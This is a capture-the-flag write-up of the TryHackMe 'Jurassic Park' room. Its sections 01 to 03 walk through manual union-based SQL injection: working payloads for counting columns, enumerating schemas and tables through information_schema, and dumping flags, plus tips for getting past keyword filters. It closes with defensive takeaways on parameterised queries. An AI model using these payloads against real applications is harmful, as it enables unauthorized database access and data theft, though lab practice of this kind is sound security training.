Jurassic Park

TryHackMe · tryhackme.com/room/jurassicpark

Linux Web Hard Manual SQL injection ● Completed

TL;DR A dinosaur "shop" whose product id parameter is injectable. The challenge is manual union-based SQL injection (no sqlmap) — enumerate the databases and tables, bypass the input filtering, and extract the flags hidden across multiple databases.

01Find the injection point

Browsing a dinosaur sets ?id=. The value is reflected into a SQL query and unsanitised — classic union-based SQLi. First find the column count, then a reflected column to print data into:

?id=1 order by 5-- -            -- find column count
?id=0 union select 1,2,3,4,5-- - -- identify the reflected column(s)

02Enumerate the database

-- current db + version
?id=0 union select 1,database(),version(),4,5-- -
-- databases
?id=0 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata-- -
-- tables in a target db
?id=0 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='park'-- -
-- columns
?id=0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'-- -

03Extract the flags

The flags live in tables across more than one database — walk each schema and dump the relevant columns. Where the app filters certain characters/keywords, bypass with case-mixing, comments, or hex-encoded strings.

?id=0 union select 1,group_concat(flag),3,4,5 from park.flags-- -

flagsTHM{…} — extracted via UNION injection across the app's databases

04Takeaways

Parameterise every query — string-concatenated SQL with user input is the root cause.
Blacklist filtering is not a fix — case-mixing, comments and encoding bypass it; use prepared statements + allow-lists.
Doing it by hand (no sqlmap) builds real understanding of UNION injection and information_schema.

back to writeups